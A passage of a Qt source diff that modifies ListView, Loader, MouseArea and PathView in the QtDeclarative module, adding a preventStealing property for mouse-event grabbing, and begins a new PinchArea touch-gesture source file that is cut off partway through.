- d->fixupPosition();
+void QDeclarativeListView::positionViewAtEnd()
+{
+ Q_D(QDeclarativeListView);
+ if (!d->isValid())
+ return;
+ d->positionViewAtIndex(d->model->count(), End);
}
/*!
@@ -2670,7 +2752,7 @@ void QDeclarativeListView::positionViewAtIndex(int index, int mode)
\bold Note: methods should only be called after the Component has completed.
*/
-int QDeclarativeListView::indexAt(int x, int y) const
+int QDeclarativeListView::indexAt(qreal x, qreal y) const
{
Q_D(const QDeclarativeListView);
for (int i = 0; i < d->visibleItems.count(); ++i) {
@@ -2791,23 +2873,8 @@ void QDeclarativeListView::itemsInserted(int modelIndex, int count)
return;
d->updateUnrequestedIndexes();
d->moveReason = QDeclarativeListViewPrivate::Other;
- if (!d->visibleItems.count() || d->model->count() <= 1) {
- d->scheduleLayout();
- if (d->itemCount && d->currentIndex >= modelIndex) {
- // adjust current item index
- d->currentIndex += count;
- if (d->currentItem)
- d->currentItem->index = d->currentIndex;
- emit currentIndexChanged();
- } else if (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared)) {
- d->updateCurrent(0);
- }
- d->itemCount += count;
- emit countChanged();
- return;
- }
- int index = d->mapFromModel(modelIndex);
+ int index = d->visibleItems.count() ? d->mapFromModel(modelIndex) : 0;
if (index < 0) {
int i = d->visibleItems.count() - 1;
while (i > 0 && d->visibleItems.at(i)->index == -1)
@@ -2843,11 +2910,15 @@ void QDeclarativeListView::itemsInserted(int modelIndex, int count)
}
}
- // At least some of the added items will be visible
-
// index can be the next item past the end of the visible items list (i.e. appended)
- int pos = index < d->visibleItems.count() ? d->visibleItems.at(index)->position()
+ int pos = 0;
+ if (d->visibleItems.count()) {
+ pos = index < d->visibleItems.count() ? d->visibleItems.at(index)->position()
: d->visibleItems.last()->endPosition()+d->spacing+1;
+ } else if (d->itemCount == 0 && d->header) {
+ pos = d->header->size();
+ }
+
int initialPos = pos;
int diff = 0;
QList<FxListItem*> added;
@@ -2914,6 +2985,8 @@ void QDeclarativeListView::itemsInserted(int modelIndex, int count)
if (d->currentItem) {
d->currentItem->index = d->currentIndex;
d->currentItem->setPosition(d->currentItem->position() + diff);
+ } else if (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared)) {
+ d->updateCurrent(0);
}
emit currentIndexChanged();
}
@@ -3043,6 +3116,7 @@ void QDeclarativeListView::destroyRemoved()
}
// Correct the positioning of the items
+ d->updateSections();
d->layout();
}
diff --git a/src/declarative/graphicsitems/qdeclarativelistview_p.h b/src/declarative/graphicsitems/qdeclarativelistview_p.h
index 7ffcb43..265f4bd 100644
--- a/src/declarative/graphicsitems/qdeclarativelistview_p.h
+++ b/src/declarative/graphicsitems/qdeclarativelistview_p.h
@@ -208,7 +208,9 @@ public:
enum PositionMode { Beginning, Center, End, Visible, Contain };
Q_INVOKABLE void positionViewAtIndex(int index, int mode);
- Q_INVOKABLE int indexAt(int x, int y) const;
+ Q_INVOKABLE int indexAt(qreal x, qreal y) const;
+ Q_INVOKABLE Q_REVISION(1) void positionViewAtBeginning();
+ Q_INVOKABLE Q_REVISION(1) void positionViewAtEnd();
public Q_SLOTS:
void incrementCurrentIndex();
diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp
index 86e438f..6c1f1be 100644
--- a/src/declarative/graphicsitems/qdeclarativeloader.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp
@@ -48,7 +48,8 @@
QT_BEGIN_NAMESPACE
QDeclarativeLoaderPrivate::QDeclarativeLoaderPrivate()
- : item(0), component(0), ownComponent(false), isComponentComplete(false)
+ : item(0), component(0), ownComponent(false), updatingSize(false),
+ itemWidthValid(false), itemHeightValid(false)
{
}
@@ -58,8 +59,13 @@ QDeclarativeLoaderPrivate::~QDeclarativeLoaderPrivate()
void QDeclarativeLoaderPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem, const QRectF &newGeometry, const QRectF &oldGeometry)
{
- if (resizeItem == item)
+ if (resizeItem == item) {
+ if (!updatingSize && newGeometry.width() != oldGeometry.width())
+ itemWidthValid = true;
+ if (!updatingSize && newGeometry.height() != oldGeometry.height())
+ itemHeightValid = true;
_q_updateSize(false);
+ }
QDeclarativeItemChangeListener::itemGeometryChanged(resizeItem, newGeometry, oldGeometry);
}
@@ -99,6 +105,10 @@ void QDeclarativeLoaderPrivate::initResize()
QDeclarativeItemPrivate *p =
static_cast<QDeclarativeItemPrivate *>(QGraphicsItemPrivate::get(qmlItem));
p->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ // We may override the item's size, so we need to remember
+ // whether the item provided its own valid size.
+ itemWidthValid = p->widthValid;
+ itemHeightValid = p->heightValid;
} else if (item && item->isWidget()) {
QGraphicsWidget *widget = static_cast<QGraphicsWidget*>(item);
widget->installEventFilter(q);
@@ -216,7 +226,7 @@ void QDeclarativeLoaderPrivate::initResize()
*/
QDeclarativeLoader::QDeclarativeLoader(QDeclarativeItem *parent)
- : QDeclarativeItem(*(new QDeclarativeLoaderPrivate), parent)
+ : QDeclarativeImplicitSizeItem(*(new QDeclarativeLoaderPrivate), parent)
{
Q_D(QDeclarativeLoader);
d->flags |= QGraphicsItem::ItemIsFocusScope;
@@ -274,7 +284,7 @@ void QDeclarativeLoader::setSource(const QUrl &url)
d->component = new QDeclarativeComponent(qmlEngine(this), d->source, this);
d->ownComponent = true;
- if (d->isComponentComplete)
+ if (isComponentComplete())
d->load();
}
@@ -325,7 +335,7 @@ void QDeclarativeLoader::setSourceComponent(QDeclarativeComponent *comp)
return;
}
- if (d->isComponentComplete)
+ if (isComponentComplete())
d->load();
}
@@ -338,7 +348,7 @@ void QDeclarativeLoaderPrivate::load()
{
Q_Q(QDeclarativeLoader);
- if (!isComponentComplete || !component)
+ if (!q->isComponentComplete() || !component)
return;
if (!component->isLoading()) {
@@ -472,7 +482,6 @@ void QDeclarativeLoader::componentComplete()
Q_D(QDeclarativeLoader);
QDeclarativeItem::componentComplete();
- d->isComponentComplete = true;
d->load();
}
@@ -510,13 +519,21 @@ qreal QDeclarativeLoader::progress() const
void QDeclarativeLoaderPrivate::_q_updateSize(bool loaderGeometryChanged)
{
Q_Q(QDeclarativeLoader);
- if (!item)
+ if (!item || updatingSize)
return;
+
+ updatingSize = true;
if (QDeclarativeItem *qmlItem = qobject_cast<QDeclarativeItem*>(item)) {
- q->setImplicitWidth(qmlItem->width());
+ if (!itemWidthValid)
+ q->setImplicitWidth(qmlItem->implicitWidth());
+ else
+ q->setImplicitWidth(qmlItem->width());
if (loaderGeometryChanged && q->widthValid())
qmlItem->setWidth(q->width());
- q->setImplicitHeight(qmlItem->height());
+ if (!itemHeightValid)
+ q->setImplicitHeight(qmlItem->implicitHeight());
+ else
+ q->setImplicitHeight(qmlItem->height());
if (loaderGeometryChanged && q->heightValid())
qmlItem->setHeight(q->height());
} else if (item && item->isWidget()) {
@@ -531,6 +548,7 @@ void QDeclarativeLoaderPrivate::_q_updateSize(bool loaderGeometryChanged)
if (widget->size() != widgetSize)
widget->resize(widgetSize);
}
+ updatingSize = false;
}
/*!
diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p.h
index 1fe7ae7..96b883c 100644
--- a/src/declarative/graphicsitems/qdeclarativeloader_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeloader_p.h
@@ -42,7 +42,7 @@
#ifndef QDECLARATIVELOADER_H
#define QDECLARATIVELOADER_H
-#include "qdeclarativeitem.h"
+#include "qdeclarativeimplicitsizeitem_p.h"
QT_BEGIN_HEADER
@@ -51,7 +51,7 @@ QT_BEGIN_NAMESPACE
QT_MODULE(Declarative)
class QDeclarativeLoaderPrivate;
-class Q_AUTOTEST_EXPORT QDeclarativeLoader : public QDeclarativeItem
+class Q_AUTOTEST_EXPORT QDeclarativeLoader : public QDeclarativeImplicitSizeItem
{
Q_OBJECT
Q_ENUMS(Status)
diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
index 81ca66d..4593dfc 100644
--- a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
@@ -55,13 +55,13 @@
#include "private/qdeclarativeloader_p.h"
-#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
#include "private/qdeclarativeitemchangelistener_p.h"
QT_BEGIN_NAMESPACE
class QDeclarativeContext;
-class QDeclarativeLoaderPrivate : public QDeclarativeItemPrivate, public QDeclarativeItemChangeListener
+class QDeclarativeLoaderPrivate : public QDeclarativeImplicitSizeItemPrivate, public QDeclarativeItemChangeListener
{
Q_DECLARE_PUBLIC(QDeclarativeLoader)
@@ -78,7 +78,9 @@ public:
QGraphicsObject *item;
QDeclarativeComponent *component;
bool ownComponent : 1;
- bool isComponentComplete : 1;
+ bool updatingSize: 1;
+ bool itemWidthValid : 1;
+ bool itemHeightValid : 1;
void _q_sourceLoaded();
void _q_updateSize(bool loaderGeometryChanged = true);
diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
index 4b555d0..da11b00 100644
--- a/src/declarative/graphicsitems/qdeclarativemousearea.cpp
+++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
@@ -216,9 +216,9 @@ QDeclarativeMouseAreaPrivate::~QDeclarativeMouseAreaPrivate()
\section1 Example Usage
- \beginfloatright
+ \div {float-right}
\inlineimage qml-mousearea-snippet.png
- \endfloat
+ \enddiv
The following example uses a MouseArea in a \l Rectangle that changes
the \l Rectangle color to red when clicked:
@@ -314,6 +314,8 @@ QDeclarativeMouseAreaPrivate::~QDeclarativeMouseAreaPrivate()
position of the release of the click, and whether the click was held.
The \e accepted property of the MouseEvent parameter is ignored in this handler.
+
+ \sa onCanceled()
*/
/*!
@@ -414,6 +416,40 @@ void QDeclarativeMouseArea::setEnabled(bool a)
emit enabledChanged();
}
}
+
+/*!
+ \qmlproperty bool MouseArea::preventStealing
+ \since Quick 1.1
+ This property holds whether the mouse events may be stolen from this
+ MouseArea.
+
+ If a MouseArea is placed within an item that filters child mouse
+ events, such as Flickable, the mouse
+ events may be stolen from the MouseArea if a gesture is recognized
+ by the parent element, e.g. a flick gesture. If preventStealing is
+ set to true, no element will steal the mouse events.
+
+ Note that setting preventStealing to true once an element has started
+ stealing events will have no effect until the next press event.
+
+ By default this property is false.
+*/
+bool QDeclarativeMouseArea::preventStealing() const
+{
+ Q_D(const QDeclarativeMouseArea);
+ return d->preventStealing;
+}
+
+void QDeclarativeMouseArea::setPreventStealing(bool prevent)
+{
+ Q_D(QDeclarativeMouseArea);
+ if (prevent != d->preventStealing) {
+ d->preventStealing = prevent;
+ setKeepMouseGrab(d->preventStealing && d->absorb);
+ emit preventStealingChanged();
+ }
+}
+
/*!
\qmlproperty MouseButtons MouseArea::pressedButtons
This property holds the mouse buttons currently pressed.
@@ -441,7 +477,7 @@ void QDeclarativeMouseArea::mousePressEvent(QGraphicsSceneMouseEvent *event)
{
Q_D(QDeclarativeMouseArea);
d->moved = false;
- d->stealMouse = false;
+ d->stealMouse = d->preventStealing;
if (!d->absorb)
QDeclarativeItem::mousePressEvent(event);
else {
@@ -458,7 +494,7 @@ void QDeclarativeMouseArea::mousePressEvent(QGraphicsSceneMouseEvent *event)
// we should only start timer if pressAndHold is connected to.
if (d->isPressAndHoldConnected())
d->pressAndHoldTimer.start(PressAndHoldDelay, this);
- setKeepMouseGrab(false);
+ setKeepMouseGrab(d->stealMouse);
event->setAccepted(setPressed(true));
}
}
@@ -583,18 +619,22 @@ void QDeclarativeMouseArea::hoverEnterEvent(QGraphicsSceneHoverEvent *event)
Q_D(QDeclarativeMouseArea);
if (!d->absorb)
QDeclarativeItem::hoverEnterEvent(event);
- else
+ else {
+ d->lastPos = event->pos();
setHovered(true);
+ QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, Qt::NoButton, event->modifiers(), false, false);
+ emit mousePositionChanged(&me);
+ }
}
void QDeclarativeMouseArea::hoverMoveEvent(QGraphicsSceneHoverEvent *event)
{
Q_D(QDeclarativeMouseArea);
if (!d->absorb) {
- QDeclarativeItem::hoverEnterEvent(event);
+ QDeclarativeItem::hoverMoveEvent(event);
} else {
d->lastPos = event->pos();
- QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, d->lastButtons, d->lastModifiers, false, d->longPress);
+ QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, Qt::NoButton, event->modifiers(), false, false);
emit mousePositionChanged(&me);
me.setX(d->lastPos.x());
me.setY(d->lastPos.y());
@@ -859,15 +899,16 @@ bool QDeclarativeMouseArea::setPressed(bool p)
me.setX(d->lastPos.x());
me.setY(d->lastPos.y());
emit mousePositionChanged(&me);
+ emit pressedChanged();
} else {
emit released(&me);
me.setX(d->lastPos.x());
me.setY(d->lastPos.y());
+ emit pressedChanged();
if (isclick && !d->longPress && !d->doubleClick)
emit clicked(&me);
}
- emit pressedChanged();
return me.isAccepted();
}
return false;
diff --git a/src/declarative/graphicsitems/qdeclarativemousearea_p.h b/src/declarative/graphicsitems/qdeclarativemousearea_p.h
index 937ac78..985f27e 100644
--- a/src/declarative/graphicsitems/qdeclarativemousearea_p.h
+++ b/src/declarative/graphicsitems/qdeclarativemousearea_p.h
@@ -129,6 +129,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeMouseArea : public QDeclarativeItem
Q_PROPERTY(Qt::MouseButtons acceptedButtons READ acceptedButtons WRITE setAcceptedButtons NOTIFY acceptedButtonsChanged)
Q_PROPERTY(bool hoverEnabled READ hoverEnabled WRITE setHoverEnabled NOTIFY hoverEnabledChanged)
Q_PROPERTY(QDeclarativeDrag *drag READ drag CONSTANT) //### add flicking to QDeclarativeDrag or add a QDeclarativeFlick ???
+ Q_PROPERTY(bool preventStealing READ preventStealing WRITE setPreventStealing NOTIFY preventStealingChanged REVISION 1)
public:
QDeclarativeMouseArea(QDeclarativeItem *parent=0);
@@ -153,6 +154,9 @@ public:
QDeclarativeDrag *drag();
+ bool preventStealing() const;
+ void setPreventStealing(bool prevent);
+
Q_SIGNALS:
void hoveredChanged();
void pressedChanged();
@@ -161,6 +165,7 @@ Q_SIGNALS:
void hoverEnabledChanged();
void positionChanged(QDeclarativeMouseEvent *mouse);
void mousePositionChanged(QDeclarativeMouseEvent *mouse);
+ Q_REVISION(1) void preventStealingChanged();
void pressed(QDeclarativeMouseEvent *mouse);
void pressAndHold(QDeclarativeMouseEvent *mouse);
diff --git a/src/declarative/graphicsitems/qdeclarativemousearea_p_p.h b/src/declarative/graphicsitems/qdeclarativemousearea_p_p.h
index 2a327af..67694fb 100644
--- a/src/declarative/graphicsitems/qdeclarativemousearea_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativemousearea_p_p.h
@@ -68,7 +68,7 @@ class QDeclarativeMouseAreaPrivate : public QDeclarativeItemPrivate
public:
QDeclarativeMouseAreaPrivate()
: absorb(true), hovered(false), pressed(false), longPress(false),
- moved(false), stealMouse(false), doubleClick(false), drag(0)
+ moved(false), stealMouse(false), doubleClick(false), preventStealing(false), drag(0)
{
}
@@ -110,6 +110,7 @@ public:
bool dragY : 1;
bool stealMouse : 1;
bool doubleClick : 1;
+ bool preventStealing : 1;
QDeclarativeDrag *drag;
QPointF startScene;
qreal startX;
diff --git a/src/declarative/graphicsitems/qdeclarativepath.cpp b/src/declarative/graphicsitems/qdeclarativepath.cpp
index bc395d2..48e3f66 100644
--- a/src/declarative/graphicsitems/qdeclarativepath.cpp
+++ b/src/declarative/graphicsitems/qdeclarativepath.cpp
@@ -845,7 +845,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path)
\o
\qml
PathView {
- ...
+ // ...
Path {
startX: 20; startY: 0
PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 }
@@ -859,7 +859,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path)
\o
\qml
PathView {
- ...
+ // ...
Path {
startX: 20; startY: 0
PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 }
@@ -892,7 +892,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path)
\qml
PathView {
- ...
+ // ...
Path {
startX: 0; startY: 0
PathLine { x:100; y: 0; }
diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp
index 64656af..4e401e9 100644
--- a/src/declarative/graphicsitems/qdeclarativepathview.cpp
+++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp
@@ -379,14 +379,14 @@ void QDeclarativePathViewPrivate::regenerate()
\l decrementCurrentIndex() or \l incrementCurrentIndex(), for example to navigate
using the left and right arrow keys:
- \code
+ \qml
PathView {
- ...
+ // ...
focus: true
Keys.onLeftPressed: decrementCurrentIndex()
Keys.onRightPressed: incrementCurrentIndex()
}
- \endcode
+ \endqml
The path view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details).
@@ -444,7 +444,7 @@ QDeclarativePathView::~QDeclarativePathView()
Component {
Rectangle {
visible: PathView.onPath
- ...
+ // ...
}
}
\endqml
@@ -706,14 +706,14 @@ void QDeclarativePathViewPrivate::setAdjustedOffset(qreal o)
of the \l{PathView::onPath}{PathView.onPath} attached property to ensure that
the highlight is hidden when flicked away from the path.
- \code
+ \qml
Component {
Rectangle {
visible: PathView.onPath
- ...
+ // ...
}
}
- \endcode
+ \endqml
\sa highlightItem, highlightRangeMode
*/
@@ -1152,7 +1152,7 @@ void QDeclarativePathViewPrivate::handleMouseMoveEvent(QGraphicsSceneMouseEvent
moveReason = QDeclarativePathViewPrivate::Mouse;
qreal diff = (newPc - startPc)*modelCount*mappedRange;
if (diff) {
- setOffset(offset + diff);
+ q->setOffset(offset + diff);
if (diff > modelCount/2)
diff -= modelCount;
@@ -1455,17 +1455,18 @@ void QDeclarativePathView::itemsInserted(int modelIndex, int count)
if (!d->isValid() || !isComponentComplete())
return;
- d->itemCache += d->items;
- d->items.clear();
- if (modelIndex <= d->currentIndex) {
- d->currentIndex += count;
- emit currentIndexChanged();
- } else if (d->offset != 0) {
- d->offset += count;
- d->offsetAdj += count;
+ if (d->modelCount) {
+ d->itemCache += d->items;
+ d->items.clear();
+ if (modelIndex <= d->currentIndex) {
+ d->currentIndex += count;
+ emit currentIndexChanged();
+ } else if (d->offset != 0) {
+ d->offset += count;
+ d->offsetAdj += count;
+ }
}
-
- d->modelCount = d->model->count();
+ d->modelCount += count;
if (d->flicking || d->moving) {
d->regenerate();
d->updateCurrent();
@@ -1502,18 +1503,29 @@ void QDeclarativePathView::itemsRemoved(int modelIndex, int count)
d->itemCache += d->items;
d->items.clear();
+ bool changedOffset = false;
if (modelIndex > d->currentIndex) {
if (d->offset >= count) {
+ changedOffset = true;
d->offset -= count;
d->offsetAdj -= count;
}
}
- d->modelCount = d->model->count();
- d->regenerate();
- d->updateCurrent();
- if (!d->modelCount)
+ d->modelCount -= count;
+ if (!d->modelCount) {
+ while (d->itemCache.count())
+ d->releaseItem(d->itemCache.takeLast());
+ d->offset = 0;
+ changedOffset = true;
+ d->tl.reset(d->moveOffset);
update();
+ } else {
+ d->regenerate();
+ d->updateCurrent();
+ }
+ if (changedOffset)
+ emit offsetChanged();
if (currentChanged)
emit currentIndexChanged();
emit countChanged();
@@ -1601,7 +1613,7 @@ void QDeclarativePathView::movementEnding()
int QDeclarativePathViewPrivate::calcCurrentIndex()
{
int current = -1;
- if (model && items.count()) {
+ if (modelCount && model && items.count()) {
offset = qmlMod(offset, modelCount);
if (offset < 0)
offset += modelCount;
@@ -1617,7 +1629,7 @@ void QDeclarativePathViewPrivate::updateCurrent()
Q_Q(QDeclarativePathView);
if (moveReason != Mouse)
return;
- if (!haveHighlightRange || highlightRangeMode != QDeclarativePathView::StrictlyEnforceRange)
+ if (!modelCount || !haveHighlightRange || highlightRangeMode != QDeclarativePathView::StrictlyEnforceRange)
return;
int idx = calcCurrentIndex();
diff --git a/src/declarative/graphicsitems/qdeclarativepincharea.cpp b/src/declarative/graphicsitems/qdeclarativepincharea.cpp
new file mode 100644
index 0000000..eae83f6
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepincharea.cpp
@@ -0,0 +1,582 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativepincharea_p.h"
+#include "qdeclarativepincharea_p_p.h"
+
+#include <QApplication>
+#include <QGraphicsScene>
+
+#include <float.h>
+#include <math.h>
+
+QT_BEGIN_NAMESPACE
+
+
+/*!
+ \qmlclass PinchEvent QDeclarativePinchEvent
+ \ingroup qml-event-elements
+ \brief The PinchEvent object provides information about a pinch event.
+
+ \bold {The PinchEvent element was added in QtQuick 1.1}
+
+ The \c center, \c startCenter, \c previousCenter properties provide the center position between the two touch points.
+
+ The \c scale and \c previousScale properties provide the scale factor.
+
+ The \c angle, \c previousAngle and \c rotation properties provide the angle between the two points and the amount of rotation.
+
+ The \c point1, \c point2, \c startPoint1, \c startPoint2 properties provide the positions of the touch points.
+
+ The \c accepted property may be set to false in the \c onPinchStarted handler if the gesture should not
+ be handled.
+
+ \sa PinchArea
+*/
+
+/*!
+ \qmlproperty QPointF PinchEvent::center
+ \qmlproperty QPointF PinchEvent::startCenter
+ \qmlproperty QPointF PinchEvent::previousCenter
+
+ These properties hold the position of the center point between the two touch points.
+
+ \list
+ \o \c center is the current center point
+ \o \c previousCenter is the center point of the previous event.
+ \o \c startCenter is the center point when the gesture began
+ \endlist
+*/
+
+/*!
+ \qmlproperty real PinchEvent::scale
+ \qmlproperty real PinchEvent::previousScale
+
+ These properties hold the scale factor determined by the change in distance between the two touch points.
+
+ \list
+ \o \c scale is the current scale factor.
+ \o \c previousScale is the scale factor of the previous event.
+ \endlist
+
+ When a pinch gesture is started, the scale is 1.0.
+*/
+
+/*!
+ \qmlproperty real PinchEvent::angle
+ \qmlproperty real PinchEvent::previousAngle
+ \qmlproperty real PinchEvent::rotation
+
+ These properties hold the angle between the two touch points.
+
+ \list
+ \o \c angle is the current angle between the two points in the range -180 to 180.
+ \o \c previousAngle is the angle of the previous event.
+ \o \c rotation is the total rotation since the pinch gesture started.
+ \endlist
+
+ When a pinch gesture is started, the rotation is 0.0.
+*/
+
+/*!
+ \qmlproperty QPointF PinchEvent::point1
+ \qmlproperty QPointF PinchEvent::startPoint1
+ \qmlproperty QPointF PinchEvent::point2
+ \qmlproperty QPointF PinchEvent::startPoint2
+
+ These properties provide the actual touch points generating the pinch.
+
+ \list
+ \o \c point1 and \c point2 hold the current positions of the points.
+ \o \c startPoint1 and \c startPoint2 hold the positions of the points when the second point was touched.
+ \endlist
+*/
+
+/*!
+ \qmlproperty bool PinchEvent::accepted
+
+ Setting this property to false in the \c PinchArea::onPinchStarted handler
+ will result in no further pinch events being generated, and the gesture
+ ignored.
+*/
+
+QDeclarativePinch::QDeclarativePinch()
+ : m_target(0), m_minScale(1.0), m_maxScale(1.0)
+ , m_minRotation(0.0), m_maxRotation(0.0)
+ , m_axis(NoDrag), m_xmin(-FLT_MAX), m_xmax(FLT_MAX)
+ , m_ymin(-FLT_MAX), m_ymax(FLT_MAX), m_active(false)
+{
+}
+
+QDeclarativePinchAreaPrivate::~QDeclarativePinchAreaPrivate()
+{
+ delete pinch;
+}
+
+/*!
+ \qmlclass PinchArea QDeclarativePinchArea
+ \brief The PinchArea item enables simple pinch gesture handling.
+ \inherits Item
+
+ \bold {The PinchArea element was added in QtQuick 1.1}
+
+ A PinchArea is an invisible item that is typically used in conjunction with
+ a visible item in order to provide pinch gesture handling for that item.
+
+ The \l enabled property is used to enable and disable pinch handling for
+ the proxied item. When disabled, the pinch area becomes transparent to
+ mouse/touch events.
+
+ PinchArea can be used in two ways:
+
+ \list
+ \o setting a \c pinch.target to provide automatic interaction with an element
+ \o using the onPinchStarted, onPinchUpdated and onPinchFinished handlers
+ \endlist
+
+ \sa PinchEvent
+*/
+
+/*!
+ \qmlsignal PinchArea::onPinchStarted()
+
+ This handler is called when the pinch area detects that a pinch gesture has started.
+
+ The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture,
+ including the scale, center and angle of the pinch.
+
+ To ignore this gesture set the \c pinch.accepted property to false. The gesture
+ will be cancelled and no further events will be sent.
+*/
+
+/*!
+ \qmlsignal PinchArea::onPinchUpdated()
+
+ This handler is called when the pinch area detects that a pinch gesture has changed.
+
+ The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture,
+ including the scale, center and angle of the pinch.
+*/
+
+/*!
+ \qmlsignal PinchArea::onPinchFinished()
+
+ This handler is called when the pinch area detects that a pinch gesture has finished.
+
+ The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture,
+ including the scale, center and angle of the pinch.
+*/
+
+
+/*!
+ \qmlproperty Item PinchArea::pinch.target
+ \qmlproperty bool PinchArea::pinch.active
+ \qmlproperty real PinchArea::pinch.minimumScale
+ \qmlproperty real PinchArea::pinch.maximumScale
+ \qmlproperty real PinchArea::pinch.minimumRotation
+ \qmlproperty real PinchArea::pinch.maximumRotation
+ \qmlproperty enumeration PinchArea::pinch.dragAxis
+ \qmlproperty real PinchArea::pinch.minimumX
+ \qmlproperty real PinchArea::pinch.maximumX
+ \qmlproperty real PinchArea::pinch.minimumY
+ \qmlproperty real PinchArea::pinch.maximumY
+
+ \c pinch provides a convenient way to make an item react to pinch gestures.
+
+ \list
+ \i \c pinch.target specifies the id of the item to drag.
+ \i \c pinch.active specifies if the target item is currently being dragged.
+ \i \c pinch.minimumScale and \c pinch.maximumScale limit the range of the Item::scale property.
+ \i \c pinch.minimumRotation and \c pinch.maximumRotation limit the range of the Item::rotation property.
+ \i \c pinch.dragAxis specifies whether dragging in not allowed (\c Pinch.NoDrag), can be done horizontally (\c Pinch.XAxis), vertically (\c Pinch.YAxis), or both (\c Pinch.XandYAxis)
+ \i \c pinch.minimum and \c pinch.maximum limit how far the target can be dragged along the corresponding axes.
+ \endlist
+*/
+
+QDeclarativePinchArea::QDeclarativePinchArea(QDeclarativeItem *parent)
+ : QDeclarativeItem(*(new QDeclarativePinchAreaPrivate), parent)
+{
+ Q_D(QDeclarativePinchArea);
+ d->init();
+}
+
+QDeclarativePinchArea::~QDeclarativePinchArea()
+{
+}
+
+/*!
+ \qmlproperty bool PinchArea::enabled
+ This property holds whether the item accepts pinch gestures.
+
+ This property defaults to true.
+*/
+bool QDeclarativePinchArea::isEnabled() const
+{
+ Q_D(const QDeclarativePinchArea);
+ return d->absorb;
+}
+
+void QDeclarativePinchArea::setEnabled(bool a)
+{
+ Q_D(QDeclarativePinchArea);
+ if (a != d->absorb) {
+ d->absorb = a;
+ emit enabledChanged();
+ }
+}
+
+bool QDeclarativePinchArea::event(QEvent *event)
+{
+ Q_D(QDeclarativePinchArea);
+ if (!d->absorb || !isVisible())
+ return QDeclarativeItem::event(event);
+ switch (event->type()) {
+ case QEvent::TouchBegin:
+ case QEvent::TouchUpdate: {
+ QTouchEvent *touch = static_cast<QTouchEvent*>(event);
+ d->touchPoints.clear();
+ for (int i = 0; i < touch->touchPoints().count(); ++i) {
+ if (!(touch->touchPoints().at(i).state() & Qt::TouchPointReleased)) {
+ d->touchPoints << touch->touchPoints().at(i);
+ }
+ }
+ updatePinch();
+ }
+ return true;
+ case QEvent::TouchEnd:
+ d->touchPoints.clear();
+ updatePinch();
+ break;
+ default:
+ return QDeclarativeItem::event(event);
+ }
+
+ return QDeclarativeItem::event(event);
+}
+
+void QDeclarativePinchArea::updatePinch()
+{
+ Q_D(QDeclarativePinchArea);
+ if (d->touchPoints.count() != 2) {
+ if (d->inPinch) {
+ d->stealMouse = false;
+ setKeepMouseGrab(false);
+ d->inPinch = false;
+ const qreal rotationAngle = d->pinchStartAngle - d->pinchLastAngle;
+ QPointF pinchCenter = mapFromScene(d->sceneLastCenter);
+ QDeclarativePinchEvent pe(pinchCenter, d->pinchLastScale, d->pinchLastAngle, rotationAngle);
+ pe.setStartCenter(d->pinchStartCenter);
+ pe.setPreviousCenter(pinchCenter);
+ pe.setPreviousAngle(d->pinchLastAngle);
+ pe.setPreviousScale(d->pinchLastScale);
+ pe.setStartPoint1(mapFromScene(d->sceneStartPoint1));
+ pe.setStartPoint2(mapFromScene(d->sceneStartPoint2));
+ pe.setPoint1(d->lastPoint1);
+ pe.setPoint2(d->lastPoint2);
+ emit pinchFinished(&pe);
+ d->pinchStartDist = 0;
+ if (d->pinch && d->pinch->target())
